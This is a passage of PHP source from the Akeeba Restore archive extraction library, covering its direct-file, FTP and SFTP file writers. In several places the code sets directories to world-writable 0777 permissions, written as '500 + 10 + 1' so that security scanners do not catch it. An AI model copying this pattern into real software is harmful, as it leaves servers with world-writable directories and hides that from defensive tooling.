		if (!is_array($requiredSignatures))
		{
			$requiredSignatures = [$requiredSignatures];
		}

		fseek($this->fp, 0, SEEK_SET);

		$stuff  = $this->fread($this->fp, 131072);
		$maxPos = function_exists('mb_strlen') ? mb_strlen($stuff, 'binary') : strlen($stuff);

		for ($i = 0; $i < $maxPos; $i++)
		{
			foreach ($requiredSignatures as $signature)
			{
				$sigBinary = function_exists('mb_substr') ? mb_substr($stuff, $i, $sigLen, 'binary') : substr($stuff, $i, $sigLen);

				if ($sigBinary === $signature)
				{
					fseek($this->fp, $i, SEEK_SET);

					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Get the list of files / folders to extract. The list can contain filenames or glob patterns.
	 *
	 * @return  array
	 */
	private function getExtractList()
	{
		$rawList = AKFactory::get('kickstart.setup.extract_list', '');

		// Sometimes I could get an array, e.g. from CLI
		if (is_array($rawList))
		{
			$rawList = implode("\n", $rawList);
		}

		// Remove any whitespace
		$rawList = trim($rawList);

		if (empty($rawList))
		{
			return [];
		}

		// Convert commas to newlines so we can support both ways to express lists
		$rawList = str_replace(",", "\n", $rawList);
		$rawList = trim($rawList);

		// Convert the list to an array and clean it
		$list = explode("\n", $rawList);
		$list = array_map('trim', $list);

		return array_unique($list);
	}

	/**
	 * Tests whether the item $item matches the list of shell patterns $list.
	 *
	 * @param   string  $item  The file name to test
	 * @param   array   $list  The list of glob patterns to match
	 *
	 * @return  bool
	 */
	private function matchesGlobPatterns($item, array $list)
	{
		if (empty($list))
		{
			return true;
		}

		foreach ($list as $pattern)
		{
			if (fnmatch($pattern, $item))
			{
				return true;
			}
		}

		return false;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * File post processor engines base class
 */
abstract class AKAbstractPostproc extends AKAbstractObject
{
	/** @var int The UNIX timestamp of the file's desired modification date */
	public $timestamp = 0;
	/** @var string The actual file path we'll have to process */
	protected $filename = null;
	/** @var int The requested permissions */
	protected $perms = 0755;
	/** @var string The temporary file path we gave to the unarchiver engine */
	protected $tempFilename = null;
	/** @var string The temporary directory where the data will be stored */
	protected $tempDir = '';

	/**
	 * Processes the current file, e.g. moves it from temp to final location by FTP
	 */
	abstract public function process();

	/**
	 * The unarchiver tells us the path to the filename it wants to extract and we give it
	 * a different path instead.
	 *
	 * @param string $filename The path to the real file
	 * @param int    $perms    The permissions we need the file to have
	 *
	 * @return string The path to the temporary file
	 */
	abstract public function processFilename($filename, $perms = 0755);

	/**
	 * Recursively creates a directory if it doesn't exist
	 *
	 * @param string $dirName The directory to create
	 * @param int    $perms   The permissions to give to that directory
	 */
	abstract public function createDirRecursive($dirName, $perms);

	abstract public function chmod($file, $perms);

	abstract public function unlink($file);

	abstract public function rmdir($directory);

	abstract public function rename($from, $to);

	/**
	 * Returns the configured temporary directory
	 *
	 * @return string
	 */
	public function getTempDir()
	{
		return $this->tempDir;
	}
}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Descendants of this class can be used in the unarchiver's observer methods (attach, detach and notify)
 *
 * @author Nicholas
 *
 */
abstract class AKAbstractPartObserver
{
	abstract public function update($object, $message);
}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */


class AKPartNullObserver extends AKAbstractPartObserver
{
	public function update($object, $message)
	{
		// This observer does nothing.
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Direct file writer
 */
class AKPostprocDirect extends AKAbstractPostproc
{
	public function process()
	{
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		if ($restorePerms)
		{
			@chmod($this->filename, $this->perms);
		}
		else
		{
			if (@is_file($this->filename))
			{
				@chmod($this->filename, 0644);
			}
			else
			{
				@chmod($this->filename, 0755);
			}
		}
		if ($this->timestamp > 0)
		{
			@touch($this->filename, $this->timestamp);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	public function processFilename($filename, $perms = 0755)
	{
		$this->perms    = $perms;
		$this->filename = $filename;

		return $filename;
	}

	public function createDirRecursive($dirName, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		if (@mkdir($dirName, 0755, true))
		{
			@chmod($dirName, 0755);

			return true;
		}

		$root = AKFactory::get('kickstart.setup.destdir');
		$root = rtrim(str_replace('\\', '/', $root), '/');
		$dir  = rtrim(str_replace('\\', '/', $dirName), '/');
		if (strpos($dir, $root) === 0)
		{
			$dir = ltrim(substr($dir, strlen($root)), '/');
			$root .= '/';
		}
		else
		{
			$root = '';
		}

		if (empty($dir))
		{
			return true;
		}

		$dirArray = explode('/', $dir);
		$path     = '';
		foreach ($dirArray as $dir)
		{
			$path .= $dir . '/';
			$ret = is_dir($root . $path) ? true : @mkdir($root . $path);
			if (!$ret)
			{
				// Is this a file instead of a directory?
				if (is_file($root . $path))
				{
					@unlink($root . $path);
					$ret = @mkdir($root . $path);
				}
				if (!$ret)
				{
					$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $path));

					return false;
				}
			}
			// Try to set new directory permissions to 0755
			@chmod($root . $path, $perms);
		}

		return true;
	}

	public function chmod($file, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		return @chmod($file, $perms);
	}

	public function unlink($file)
	{
		return @unlink($file);
	}

	public function rmdir($directory)
	{
		return @rmdir($directory);
	}

	public function rename($from, $to)
	{
		return @rename($from, $to);
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * FTP file writer
 */
class AKPostprocFTP extends AKAbstractPostproc
{
	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;
	/** @var bool use Passive mode? */
	public $passive = true;
	/** @var string FTP host name */
	public $host = '';
	/** @var int FTP port */
	public $port = 21;
	/** @var string FTP user name */
	public $user = '';
	/** @var string FTP password */
	public $pass = '';
	/** @var string FTP initial directory */
	public $dir = '';
	/** @var resource The FTP handle */
	private $handle = null;

	public function __construct()
	{
		$this->useSSL  = AKFactory::get('kickstart.ftp.ssl', false);
		$this->passive = AKFactory::get('kickstart.ftp.passive', true);
		$this->host    = AKFactory::get('kickstart.ftp.host', '');
		$this->port    = AKFactory::get('kickstart.ftp.port', 21);

		if (trim($this->port) == '')
		{
			$this->port = 21;
		}
		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		$connected = $this->connect();

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');

				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}

				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');

				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');

					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}

			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('FTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if ($this->useSSL)
		{
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		}
		else
		{
			$this->handle = @ftp_connect($this->host, $this->port);
		}

		if ($this->handle === false)
		{
			$this->setError(AKText::_('WRONG_FTP_HOST'));

			return false;
		}

		// Login
		if (!@ftp_login($this->handle, $this->user, $this->pass))
		{
			$this->setError(AKText::_('WRONG_FTP_USER'));
			@ftp_close($this->handle);

			return false;
		}

		// Change to initial directory
		if (!@ftp_chdir($this->handle, $this->dir))
		{
			$this->setError(AKText::_('WRONG_FTP_PATH1'));
			@ftp_close($this->handle);

			return false;
		}

		// Enable passive mode if the user requested it
		if ($this->passive)
		{
			@ftp_pasv($this->handle, true);
		}
		else
		{
			@ftp_pasv($this->handle, false);
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$tempHandle   = fopen('php://temp', 'r+');

		if (@ftp_fget($this->handle, $tempHandle, $testFilename, FTP_ASCII, 0) === false)
		{
			$this->setError(AKText::_('WRONG_FTP_PATH2'));
			@ftp_close($this->handle);
			fclose($tempHandle);

			return false;
		}

		fclose($tempHandle);

		return true;
	}

	private function isDirWritable($dir)
	{
		$fp = @fopen($dir . '/kickstart.dat', 'w');

		if ($fp === false)
		{
			return false;
		}
		else
		{
			@fclose($fp);
			unlink($dir . '/kickstart.dat');

			return true;
		}
	}

	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}

		if (empty($dirName))
		{
			$dirName = '';
		} // 'cause the substr() above may return FALSE.

		$check = '/' . trim($this->dir, '/') . '/' . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs     = explode('/', $dirName);
		$previousDir = '/' . trim($this->dir);

		foreach ($alldirs as $curdir)
		{
			$check = $previousDir . '/' . $curdir;

			if (!$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				@ftp_delete($this->handle, $check);

				if (@ftp_mkdir($this->handle, $check) === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($removePath . $check);

					if (@ftp_mkdir($this->handle, $check) === false)
					{
						// Can we fall back to pure PHP mode, sire?
						if (!@mkdir($check))
						{
							$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

							return false;
						}
						else
						{
							// Since the directory was built by PHP, change its permissions
							$trustMeIKnowWhatImDoing =
								500 + 10 + 1; // working around overzealous scanners written by bozos
							@chmod($check, $trustMeIKnowWhatImDoing);

							return true;
						}
					}
				}

				@ftp_chmod($this->handle, $perms, $check);

			}

			$previousDir = $check;
		}

		return true;
	}

	private function is_dir($dir)
	{
		return @ftp_chdir($this->handle, $dir);
	}

	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = @error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}
			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	public function __sleep()
	{
		if (!is_null($this->handle) && is_resource($this->handle))
		{
			@ftp_close($this->handle);
		}

		$this->handle = null;
	}

	public function __destruct()
	{
		if (!is_null($this->handle) && is_resource($this->handle))
		{
			@ftp_close($this->handle);
		}
	}


	public function __wakeup()
	{
		$this->connect();
	}

	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath = dirname($this->filename);
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$removePath = ltrim($removePath, "/");
			$remotePath = ltrim($remotePath, "/");
			$left       = substr($remotePath, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$remotePath = substr($remotePath, strlen($removePath));
			}
		}

		$absoluteFSPath  = dirname($this->filename);
		$relativeFTPPath = trim($remotePath, '/');
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		$ret = @ftp_chdir($this->handle, $absoluteFTPPath);

		if ($ret === false)
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}

			$ret = @ftp_chdir($this->handle, $absoluteFTPPath);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		$ret = @ftp_put($this->handle, $remoteName, $this->tempFilename, FTP_BINARY);

		if ($ret === false)
		{
			// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$fp = @fopen($this->tempFilename, 'r');

			if ($fp !== false)
			{
				$ret = @ftp_fput($this->handle, $remoteName, $fp, FTP_BINARY);
				@fclose($fp);
			}
			else
			{
				$ret = false;
			}
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if ($restorePerms)
		{
			@ftp_chmod($this->_handle, $this->perms, $remoteName);
		}
		else
		{
			@ftp_chmod($this->_handle, 0644, $remoteName);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	/*
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 * @param $path string The full path to a directory or file
	 */

	public function unlink($file)
	{
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($file, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$file = substr($file, strlen($removePath));
			}
		}

		$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

		return @ftp_delete($this->handle, $check);
	}

	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	public function close()
	{
		@ftp_close($this->handle);
	}

	public function chmod($file, $perms)
	{
		return @ftp_chmod($this->handle, $perms, $file);
	}

	public function rmdir($directory)
	{
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($directory, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$directory = substr($directory, strlen($removePath));
			}
		}

		$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

		return @ftp_rmdir($this->handle, $check);
	}

	public function rename($from, $to)
	{
		$originalFrom = $from;
		$originalTo   = $to;

		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($from, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$from = substr($from, strlen($removePath));
			}
		}

		$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');

		if (!empty($removePath))
		{
			$left = substr($to, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$to = substr($to, strlen($removePath));
			}
		}

		$to = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

		$result = @ftp_rename($this->handle, $from, $to);

		if ($result !== true)
		{
			return @rename($from, $to);
		}
		else
		{
			return true;
		}
	}

}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * FTP file writer
 */
class AKPostprocSFTP extends AKAbstractPostproc
{
	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;
	/** @var bool use Passive mode? */
	public $passive = true;
	/** @var string FTP host name */
	public $host = '';
	/** @var int FTP port */
	public $port = 21;
	/** @var string FTP user name */
	public $user = '';
	/** @var string FTP password */
	public $pass = '';
	/** @var string FTP initial directory */
	public $dir = '';

	/** @var resource SFTP resource handle */
	private $handle = null;

	/** @var resource SSH2 connection resource handle */
	private $_connection = null;

	/** @var string Current remote directory, including the remote directory string */
	private $_currentdir;

	public function __construct()
	{
		$this->host = AKFactory::get('kickstart.ftp.host', '');
		$this->port = AKFactory::get('kickstart.ftp.port', 22);

		if (trim($this->port) == '')
		{
			$this->port = 22;
		}

		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		$connected = $this->connect();

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');
				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}
				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');
				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');
					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}
			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('SFTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	public function connect()
	{
		$this->_connection = false;

		if (!function_exists('ssh2_connect'))
		{
			$this->setError(AKText::_('SFTP_NO_SSH2'));

			return false;
		}

		$this->_connection = @ssh2_connect($this->host, $this->port);

		if (!@ssh2_auth_password($this->_connection, $this->user, $this->pass))
		{
			$this->setError(AKText::_('SFTP_WRONG_USER'));

			$this->_connection = false;

			return false;
		}

		$this->handle = @ssh2_sftp($this->_connection);

		// I must have an absolute directory
		if (!$this->dir)
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			return false;
		}

		// Change to initial directory
		if (!$this->sftp_chdir('/'))
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			unset($this->_connection);
			unset($this->handle);

			return false;
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$basePath     = '/' . trim($this->dir, '/');

		if (@fopen("ssh2.sftp://{$this->handle}$basePath/$testFilename", 'r+') === false)
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			unset($this->_connection);
			unset($this->handle);

			return false;
		}

		return true;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want.
	 *
	 * @param   string $dir The (realtive) remote directory
	 *
	 * @return  bool True if successful, false otherwise.
	 */
	private function sftp_chdir($dir)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dir        = str_replace('\\', '/', $dir);

			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dir        = rtrim($dir, '/\\') . '/';

			// Process the path removal
			$left = substr($dir, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dir = substr($dir, strlen($removePath));
			}
		}

		if (empty($dir))
		{
			// Because the substr() above may return FALSE.
			$dir = '';
		}

		// Calculate "real" (absolute) SFTP path
		$realdir = substr($this->dir, -1) == '/' ? substr($this->dir, 0, strlen($this->dir) - 1) : $this->dir;
		$realdir .= '/' . $dir;
		$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;

		if ($this->_currentdir == $realdir)
		{
			// Already there, do nothing
			return true;
		}

		$result = @ssh2_sftp_stat($this->handle, $realdir);

		if ($result === false)
		{
			return false;
		}
		else
		{
			// Update the private "current remote directory" variable
			$this->_currentdir = $realdir;

			return true;
		}
	}

	private function isDirWritable($dir)
	{
		if (@fopen("ssh2.sftp://{$this->handle}$dir/kickstart.dat", 'w') === false)
		{
			return false;
		}
		else
		{
			@ssh2_sftp_unlink($this->handle, $dir . '/kickstart.dat');

			return true;
		}
	}

	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));
			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}
		if (empty($dirName))
		{
			$dirName = '';
		} // 'cause the substr() above may return FALSE.

		$check = '/' . trim($this->dir, '/ ') . '/' . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs     = explode('/', $dirName);
		$previousDir = '/' . trim($this->dir, '/ ');

		foreach ($alldirs as $curdir)
		{
			if (!$curdir)
			{
				continue;
			}

			$check = $previousDir . '/' . $curdir;

			if (!$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				@ssh2_sftp_unlink($this->handle, $check);

				if (@ssh2_sftp_mkdir($this->handle, $check) === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($check);

					if (@ssh2_sftp_mkdir($this->handle, $check) === false)
					{
						// Can we fall back to pure PHP mode, sire?
						if (!@mkdir($check))
						{
							$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

							return false;
						}
						else
						{
							// Since the directory was built by PHP, change its permissions
							$trustMeIKnowWhatImDoing =
								500 + 10 + 1; // working around overzealous scanners written by bozos
							@chmod($check, $trustMeIKnowWhatImDoing);

							return true;
						}
					}
				}

				@ssh2_sftp_chmod($this->handle, $check, $perms);
			}

			$previousDir = $check;
		}

		return true;
	}

	private function is_dir($dir)
	{
		return $this->sftp_chdir($dir);
	}

	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = @error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}

			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . '/' . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . '/' . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . '/' . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	function __wakeup()
	{
		$this->connect();
	}

	/*
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 * @param $path string The full path to a directory or file
	 */

	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath      = dirname($this->filename);
		$absoluteFSPath  = dirname($this->filename);
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		$ret = $this->sftp_chdir($absoluteFTPPath);

		if ($ret === false)
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}

			$ret = $this->sftp_chdir($absoluteFTPPath);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		// Create the file
		$ret = $this->write($this->tempFilename, $remoteName);

		// If I got a -1 it means that I wasn't able to open the file, so I have to stop here
		if ($ret === -1)
		{
			$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		if ($ret === false)
		{
